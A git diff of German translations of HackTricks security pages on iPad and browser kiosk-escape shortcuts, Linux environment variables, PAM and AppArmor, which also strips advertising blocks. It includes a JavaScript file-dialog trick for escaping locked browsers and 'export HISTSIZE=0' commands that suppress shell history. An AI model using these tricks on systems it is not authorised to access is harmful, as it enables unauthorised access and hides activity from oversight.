Überprüfe diese Seite für weitere Informationen: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
## Browser-Tricks
|
||||
|
||||
|
@ -168,112 +177,113 @@ Backup iKat-Versionen:
|
|||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
Erstellen Sie einen gemeinsamen Dialog mit JavaScript und greifen Sie auf den Datei-Explorer zu: `document.write('<input/type=file>')`\
|
||||
Erstelle einen gemeinsamen Dialog mit JavaScript und greife auf den Datei-Explorer zu: `document.write('<input/type=file>')`\
|
||||
Quelle: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
## iPad
|
||||
|
||||
### Gesten und Tasten
|
||||
|
||||
* Wischen Sie mit vier (oder fünf) Fingern nach oben / Doppelklicken Sie auf die Home-Taste: Um die Multitasking-Ansicht anzuzeigen und die App zu wechseln
|
||||
* Wischen Sie mit vier oder fünf Fingern in eine Richtung: Um zur nächsten/vorherigen App zu wechseln
|
||||
* Zoomen Sie mit fünf Fingern auf den Bildschirm / Berühren Sie die Home-Taste / Wischen Sie mit einem Finger von unten schnell nach oben: Um auf den Startbildschirm zuzugreifen
|
||||
* Wischen Sie mit einem Finger von unten etwa 1-2 Zoll nach oben (langsam): Das Dock wird angezeigt
|
||||
* Wischen Sie mit einem Finger von oben auf dem Display nach unten: Um Ihre Benachrichtigungen anzuzeigen
|
||||
* Wischen Sie mit einem Finger von oben rechts auf dem Bildschirm nach unten: Um das Steuerzentrum des iPad Pro anzuzeigen
|
||||
* Wischen Sie mit einem Finger von links auf dem Bildschirm 1-2 Zoll nach rechts: Um die Ansicht für heute anzuzeigen
|
||||
* Wischen Sie schnell mit einem Finger von der Mitte des Bildschirms nach rechts oder links: Um zur nächsten/vorherigen App zu wechseln
|
||||
* Drücken und halten Sie die Ein/**Aus**/Standby-Taste in der oberen rechten Ecke des **iPad +** Bewegen Sie den Schieberegler zum **Ausschalten** ganz nach rechts: Zum Ausschalten
|
||||
* Drücken Sie die Ein/**Aus**/Standby-Taste in der oberen rechten Ecke des **iPad und die Home-Taste für einige Sekunden**: Zum erzwingen eines harten Ausschaltens
|
||||
* Drücken Sie die Ein/**Aus**/Standby-Taste in der oberen rechten Ecke des **iPad und die Home-Taste schnell**: Um einen Screenshot zu machen, der unten links auf dem Display angezeigt wird. Drücken Sie beide Tasten gleichzeitig sehr kurz, als ob Sie sie einige Sekunden lang gedrückt halten würden, um einen harten Neustart durchzuführen.
|
||||
* Wische mit vier (oder fünf) Fingern nach oben / Doppeltippe auf die Home-Taste: Um die Multitasking-Ansicht anzuzeigen und die App zu wechseln
|
||||
* Wische in eine Richtung mit vier oder fünf Fingern: Um zur nächsten/vorherigen App zu wechseln
|
||||
* Kneife den Bildschirm mit fünf Fingern / Berühre die Home-Taste / Wische schnell mit 1 Finger von unten nach oben: Um auf die Startseite zuzugreifen
|
||||
* Wische mit 1 Finger von unten am Bildschirm nur 1-2 Zoll (langsam): Das Dock wird angezeigt
|
||||
* Wische mit 1 Finger von oben auf dem Display: Um deine Benachrichtigungen anzuzeigen
|
||||
* Wische mit 1 Finger in die obere rechte Ecke des Bildschirms: Um das Kontrollzentrum des iPad Pro zu sehen
|
||||
* Wische mit 1 Finger von der linken Seite des Bildschirms 1-2 Zoll: Um die Heute-Ansicht zu sehen
|
||||
* Wische schnell mit 1 Finger von der Mitte des Bildschirms nach rechts oder links: Um zur nächsten/vorherigen App zu wechseln
|
||||
* Drücke und halte die Ein-/Aus-/Sleep-Taste in der oberen rechten Ecke des **iPad +** Bewege den Schieberegler **ausschalten** ganz nach rechts: Um auszuschalten
|
||||
* Drücke die Ein-/Aus-/Sleep-Taste in der oberen rechten Ecke des **iPad und die Home-Taste für einige Sekunden**: Um einen harten Ausschaltvorgang zu erzwingen
|
||||
* Drücke die Ein-/Aus-/Sleep-Taste in der oberen rechten Ecke des **iPad und die Home-Taste schnell**: Um einen Screenshot zu machen, der in der unteren linken Ecke des Displays angezeigt wird. Drücke beide Tasten gleichzeitig sehr kurz, da du sie einige Sekunden lang gedrückt hältst, wird ein harter Ausschaltvorgang durchgeführt.
|
||||
|
||||
### Verknüpfungen
|
||||
### Tastenkombinationen
|
||||
|
||||
Sie sollten eine iPad-Tastatur oder einen USB-Tastaturadapter haben. Hier werden nur Verknüpfungen gezeigt, die beim Verlassen der Anwendung helfen könnten.
|
||||
Du solltest eine iPad-Tastatur oder einen USB-Tastaturadapter haben. Nur Tastenkombinationen, die beim Verlassen der Anwendung helfen könnten, werden hier angezeigt.
|
||||
|
||||
| Taste | Name |
|
||||
| --- | ------------ |
|
||||
| ----- | ------------ |
|
||||
| ⌘ | Befehl |
|
||||
| ⌥ | Option (Alt) |
|
||||
| ⇧ | Umschalt |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Eingabe |
|
||||
| ⇥ | Tabulatortaste |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Steuerung |
|
||||
| ← | Linke Pfeiltaste |
|
||||
| → | Rechte Pfeiltaste |
|
||||
| ↑ | Obere Pfeiltaste |
|
||||
| ↓ | Untere Pfeiltaste |
|
||||
| ← | Linker Pfeil |
|
||||
| → | Rechter Pfeil |
|
||||
| ↑ | Aufwärtspfeil |
|
||||
| ↓ | Abwärtspfeil |
|
||||
|
||||
#### Systemverknüpfungen
|
||||
#### System-Tastenkombinationen
|
||||
|
||||
Diese Verknüpfungen sind für die visuellen Einstellungen und Soundeinstellungen, abhängig von der Verwendung des iPads.
|
||||
Diese Tastenkombinationen sind für die visuellen Einstellungen und Toneinstellungen, abhängig von der Nutzung des iPads.
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Bildschirm verdunkeln |
|
||||
| F2 | Bildschirm erhellen |
|
||||
| F7 | Zurück zum vorherigen Song |
|
||||
| F8 | Wiedergabe/Pause |
|
||||
| F9 | Nächster Song |
|
||||
| F10 | Stummschalten |
|
||||
| F11 | Lautstärke verringern |
|
||||
| F12 | Lautstärke erhöhen |
|
||||
| ⌘ Leertaste | Liste der verfügbaren Sprachen anzeigen; um eine auszuwählen, tippen Sie erneut auf die Leertaste. |
|
||||
| Tastenkombination | Aktion |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Bildschirm dimmen |
|
||||
| F2 | Bildschirm aufhellen |
|
||||
| F7 | Einen Song zurück |
|
||||
| F8 | Abspielen/Pause |
|
||||
| F9 | Song überspringen |
|
||||
| F10 | Stummschalten |
|
||||
| F11 | Lautstärke verringern |
|
||||
| F12 | Lautstärke erhöhen |
|
||||
| ⌘ Leertaste | Eine Liste verfügbarer Sprachen anzeigen; um eine auszuwählen, drücke die Leertaste erneut. |
|
||||
|
||||
#### iPad-Navigation
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Zum Startbildschirm gehen |
|
||||
| ⌘⇧H (Befehl-Umschalt-H) | Zum Startbildschirm gehen |
|
||||
| ⌘ (Leertaste) | Spotlight öffnen |
|
||||
| ⌘⇥ (Befehl-Tabulatortaste) | Liste der zuletzt verwendeten Apps anzeigen |
|
||||
| ⌘\~ | Zur letzten App gehen |
|
||||
| ⌘⇧3 (Befehl-Umschalt-3) | Screenshot (erscheint unten links zum Speichern oder Bearbeiten) |
|
||||
| ⌘⇧4 | Screenshot machen und im Editor öffnen |
|
||||
| ⌘ gedrückt halten | Liste der für die App verfügbaren Verknüpfungen anzeigen |
|
||||
| ⌘⌥D (Befehl-Option/Alt-D) | Dock anzeigen |
|
||||
| ^⌥H (Steuerung-Option-H) | Home-Taste |
|
||||
| ^⌥H H (Steuerung-Option-H-H) | Multitasking-Leiste anzeigen |
|
||||
| ^⌥I (Steuerung-Option-i) | Elementauswahl |
|
||||
| Escape | Zurück-Taste |
|
||||
| → (Rechte Pfeiltaste) | Nächstes Element |
|
||||
| ← (Linke Pfeiltaste) | Vorheriges Element |
|
||||
| ↑↓ (Obere Pfeiltaste, Untere Pfeiltaste) | Gleichzeitig auf das ausgewählte Element tippen |
|
||||
| ⌥ ↓ (Option-Untere Pfeiltaste) | Nach unten scrollen |
|
||||
| ⌥↑ (Option-Obere Pfeiltaste) | Nach oben scrollen |
|
||||
| ⌥← oder ⌥→ (Option-Linke Pfeiltaste oder Option-Rechte Pfeiltaste) | Nach links oder rechts scrollen |
|
||||
| ^⌥S (Steuerung-Option-S) | VoiceOver-Sprache ein- oder ausschalten |
|
||||
| ⌘⇧⇥ (Befehl-Umschalt-Tabulatortaste) | Zur vorherigen App wechseln |
|
||||
| ⌘⇥ (Befehl-Tabulatortaste) | Zur ursprünglichen App zurückwechseln |
|
||||
| ←+→, dann Option + ← oder Option+→ | Durch das Dock navigieren |
|
||||
#### Safari-Verknüpfungen
|
||||
| Tastenkombination | Aktion |
|
||||
| --------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Gehe zur Startseite |
|
||||
| ⌘⇧H (Befehl-Shift-H) | Gehe zur Startseite |
|
||||
| ⌘ (Leertaste) | Spotlight öffnen |
|
||||
| ⌘⇥ (Befehl-Tab) | Liste der letzten zehn verwendeten Apps |
|
||||
| ⌘\~ | Gehe zur letzten App |
|
||||
| ⌘⇧3 (Befehl-Shift-3) | Screenshot (schwebt unten links, um zu speichern oder zu handeln) |
|
||||
| ⌘⇧4 | Screenshot und öffne ihn im Editor |
|
||||
| Drücke und halte ⌘ | Liste der verfügbaren Tastenkombinationen für die App |
|
||||
| ⌘⌥D (Befehl-Option/Alt-D) | Dock anzeigen |
|
||||
| ^⌥H (Steuerung-Option-H) | Home-Taste |
|
||||
| ^⌥H H (Steuerung-Option-H-H) | Multitasking-Leiste anzeigen |
|
||||
| ^⌥I (Steuerung-Option-i) | Elementauswahl |
|
||||
| Escape | Zurück-Taste |
|
||||
| → (Rechter Pfeil) | Nächstes Element |
|
||||
| ← (Linker Pfeil) | Vorheriges Element |
|
||||
| ↑↓ (Aufwärtspfeil, Abwärtspfeil) | Ausgewähltes Element gleichzeitig antippen |
|
||||
| ⌥ ↓ (Option-Abwärtspfeil) | Nach unten scrollen |
|
||||
| ⌥↑ (Option-Aufwärtspfeil) | Nach oben scrollen |
|
||||
| ⌥← oder ⌥→ (Option-Linker Pfeil oder Option-Rechter Pfeil) | Nach links oder rechts scrollen |
|
||||
| ^⌥S (Steuerung-Option-S) | VoiceOver-Sprachausgabe ein- oder ausschalten |
|
||||
| ⌘⇧⇥ (Befehl-Shift-Tab) | Zum vorherigen App wechseln |
|
||||
| ⌘⇥ (Befehl-Tab) | Zur ursprünglichen App zurückwechseln |
|
||||
| ←+→, dann Option + ← oder Option+→ | Durch das Dock navigieren |
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Befehl-L) | Ort öffnen |
|
||||
| ⌘T | Neuen Tab öffnen |
|
||||
| ⌘W | Aktuellen Tab schließen |
|
||||
| ⌘R | Aktuellen Tab aktualisieren |
|
||||
| ⌘. | Laden des aktuellen Tabs stoppen |
|
||||
| ^⇥ | Zum nächsten Tab wechseln |
|
||||
| ^⇧⇥ (Strg-Umschalt-Tab) | Zum vorherigen Tab wechseln |
|
||||
| ⌘L | Texteingabe/URL-Feld auswählen, um es zu ändern |
|
||||
| ⌘⇧T (Befehl-Umschalt-T) | Zuletzt geschlossenen Tab öffnen (kann mehrmals verwendet werden) |
|
||||
| ⌘\[ | Geht eine Seite zurück in deinem Browserverlauf |
|
||||
| ⌘] | Geht eine Seite vor in deinem Browserverlauf |
|
||||
| ⌘⇧R | Leseansicht aktivieren |
|
||||
#### Safari-Tastenkombinationen
|
||||
|
||||
#### Mail-Verknüpfungen
|
||||
| Tastenkombination | Aktion |
|
||||
| -------------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Befehl-L) | Standort öffnen |
|
||||
| ⌘T | Neuen Tab öffnen |
|
||||
| ⌘W | Den aktuellen Tab schließen |
|
||||
| ⌘R | Den aktuellen Tab aktualisieren |
|
||||
| ⌘. | Das Laden des aktuellen Tabs stoppen |
|
||||
| ^⇥ | Zum nächsten Tab wechseln |
|
||||
| ^⇧⇥ (Steuerung-Shift-Tab) | Zum vorherigen Tab wechseln |
|
||||
| ⌘L | Textfeld/URL-Feld auswählen, um es zu ändern |
|
||||
| ⌘⇧T (Befehl-Shift-T) | Letzten geschlossenen Tab öffnen (kann mehrmals verwendet werden) |
|
||||
| ⌘\[ | Gehe eine Seite in deinem Browserverlauf zurück |
|
||||
| ⌘] | Gehe eine Seite in deinem Browserverlauf vorwärts |
|
||||
| ⌘⇧R | Reader-Modus aktivieren |
|
||||
|
||||
| Verknüpfung | Aktion |
|
||||
| ----------------------- | ---------------------------- |
|
||||
| ⌘L | Ort öffnen |
|
||||
| ⌘T | Neuen Tab öffnen |
|
||||
| ⌘W | Aktuellen Tab schließen |
|
||||
| ⌘R | Aktuellen Tab aktualisieren |
|
||||
| ⌘. | Laden des aktuellen Tabs stoppen |
|
||||
| ⌘⌥F (Befehl-Option/Alt-F) | Suche in deinem Postfach |
|
||||
#### Mail-Tastenkombinationen
|
||||
|
||||
| Tastenkombination | Aktion |
|
||||
| ----------------------------------- | ---------------------------- |
|
||||
| ⌘L | Standort öffnen |
|
||||
| ⌘T | Neuen Tab öffnen |
|
||||
| ⌘W | Den aktuellen Tab schließen |
|
||||
| ⌘R | Den aktuellen Tab aktualisieren |
|
||||
| ⌘. | Das Laden des aktuellen Tabs stoppen |
|
||||
| ⌘⌥F (Befehl-Option/Alt-F) | In deinem Postfach suchen |
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -282,29 +292,19 @@ Diese Verknüpfungen sind für die visuellen Einstellungen und Soundeinstellunge
|
|||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Suchmaschine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichst.
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Globale Variablen
|
||||
|
||||
Die globalen Variablen **werden** von **Kindprozessen** geerbt.
|
||||
|
@ -71,7 +63,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **PS1** – die Standardaufforderung in bash.
|
||||
* **PATH** – speichert den Pfad aller Verzeichnisse, die die Binärdateien enthalten, die du ausführen möchtest, indem du nur den Namen der Datei angibst und nicht den relativen oder absoluten Pfad.
|
||||
* **PWD** – das aktuelle Arbeitsverzeichnis.
|
||||
* **SHELL** – der Pfad zur aktuellen Befehlszeile (zum Beispiel **/bin/bash**).
|
||||
* **SHELL** – der Pfad zur aktuellen Befehlszeilen-Shell (zum Beispiel **/bin/bash**).
|
||||
* **TERM** – der aktuelle Terminaltyp (zum Beispiel **xterm**).
|
||||
* **TZ** – deine Zeitzone.
|
||||
* **USER** – dein aktueller Benutzername.
|
||||
|
@ -86,7 +78,7 @@ export HISTFILESIZE=0
|
|||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
Ändern Sie **den Wert dieser Variablen auf 0**, damit beim **Beenden Ihrer Sitzung** kein Befehl in die **Historie-Datei** (\~/.bash\_history) hinzugefügt wird.
|
||||
Ändern Sie **den Wert dieser Variablen auf 0**, damit beim **Beenden Ihrer Sitzung** kein Befehl in die **Historie-Datei** (\~/.bash\_history) aufgenommen wird.
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
|
@ -108,7 +100,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
|
||||
Ändern Sie, wie Ihr Prompt aussieht.
|
||||
|
||||
[**Dies ist ein Beispiel**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
[**Das ist ein Beispiel**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
Root:
|
||||
|
||||
|
@ -126,11 +118,6 @@ Ein Hintergrundjob, ein gestoppter und der letzte Befehl wurde nicht korrekt bee
|
|||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -138,7 +125,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Grundinformationen
|
||||
|
||||
|
@ -64,10 +51,10 @@ Diese Bereiche oder Verwaltungsgruppen umfassen **auth**, **account**, **passwor
|
|||
|
||||
Kontrollen bestimmen die Reaktion des Moduls auf Erfolg oder Misserfolg und beeinflussen den gesamten Authentifizierungsprozess. Dazu gehören:
|
||||
|
||||
* **Required**: Das Scheitern eines erforderlichen Moduls führt letztendlich zum Misserfolg, jedoch erst nachdem alle nachfolgenden Module überprüft wurden.
|
||||
* **Required**: Das Scheitern eines erforderlichen Moduls führt letztendlich zu einem Misserfolg, jedoch nur nachdem alle nachfolgenden Module überprüft wurden.
|
||||
* **Requisite**: Sofortige Beendigung des Prozesses bei Misserfolg.
|
||||
* **Sufficient**: Erfolg umgeht die restlichen Überprüfungen desselben Bereichs, es sei denn, ein nachfolgendes Modul schlägt fehl.
|
||||
* **Optional**: Führt nur dann zu einem Misserfolg, wenn es das einzige Modul im Stapel ist.
|
||||
* **Optional**: Führt nur zu einem Misserfolg, wenn es das einzige Modul im Stapel ist.
|
||||
|
||||
#### Beispiel-Szenario
|
||||
|
||||
|
@ -77,17 +64,6 @@ In einer Konfiguration mit mehreren Auth-Modulen folgt der Prozess einer strenge
|
|||
|
||||
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **stealer malwares** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die durch information-stehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,56 +1,42 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie und üben Sie AWS-Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie und üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Grundinformationen
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
|
||||
|
||||
Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
AppArmor ist eine **Kernel-Erweiterung, die darauf ausgelegt ist, die Ressourcen, die Programmen durch programmbezogene Profile zur Verfügung stehen, einzuschränken**, und implementiert effektiv Mandatory Access Control (MAC), indem sie Zugriffssteuerungsattribute direkt an Programme anknüpft, anstatt an Benutzer. Dieses System funktioniert durch **Laden von Profilen in den Kernel**, normalerweise während des Bootvorgangs, und diese Profile geben an, auf welche Ressourcen ein Programm zugreifen kann, wie Netzwerkverbindungen, Raw-Socket-Zugriff und Dateiberechtigungen.
|
||||
AppArmor ist eine **Kernel-Erweiterung, die entwickelt wurde, um die Ressourcen, die Programmen zur Verfügung stehen, durch programmspezifische Profile einzuschränken**, und implementiert effektiv Mandatory Access Control (MAC), indem Zugriffssteuerungsattribute direkt an Programme anstelle von Benutzern gebunden werden. Dieses System funktioniert, indem es **Profile in den Kernel lädt**, normalerweise beim Booten, und diese Profile bestimmen, auf welche Ressourcen ein Programm zugreifen kann, wie z.B. Netzwerkverbindungen, Rohsocket-Zugriff und Dateiberechtigungen.
|
||||
|
||||
Es gibt zwei Betriebsmodi für AppArmor-Profile:
|
||||
|
||||
* **Durchsetzungsmodus**: In diesem Modus werden die in dem Profil definierten Richtlinien aktiv durchgesetzt, indem Aktionen blockiert werden, die gegen diese Richtlinien verstoßen, und alle Versuche, diese durch Systeme wie syslog oder auditd zu verletzen, protokolliert werden.
|
||||
* **Beschwerdemodus**: Im Gegensatz zum Durchsetzungsmodus blockiert der Bescherdemodus keine Aktionen, die gegen die Richtlinien des Profils verstoßen. Stattdessen werden diese Versuche als Richtlinienverletzungen protokolliert, ohne Einschränkungen durchzusetzen.
|
||||
* **Durchsetzungsmodus**: Dieser Modus setzt aktiv die im Profil definierten Richtlinien durch, blockiert Aktionen, die gegen diese Richtlinien verstoßen, und protokolliert alle Versuche, diese zu verletzen, über Systeme wie syslog oder auditd.
|
||||
* **Beschwerdemodus**: Im Gegensatz zum Durchsetzungsmodus blockiert der Beschwerdemodus keine Aktionen, die gegen die Richtlinien des Profils verstoßen. Stattdessen protokolliert er diese Versuche als Richtlinienverletzungen, ohne Einschränkungen durchzusetzen.
|
||||
|
||||
### Komponenten von AppArmor
|
||||
|
||||
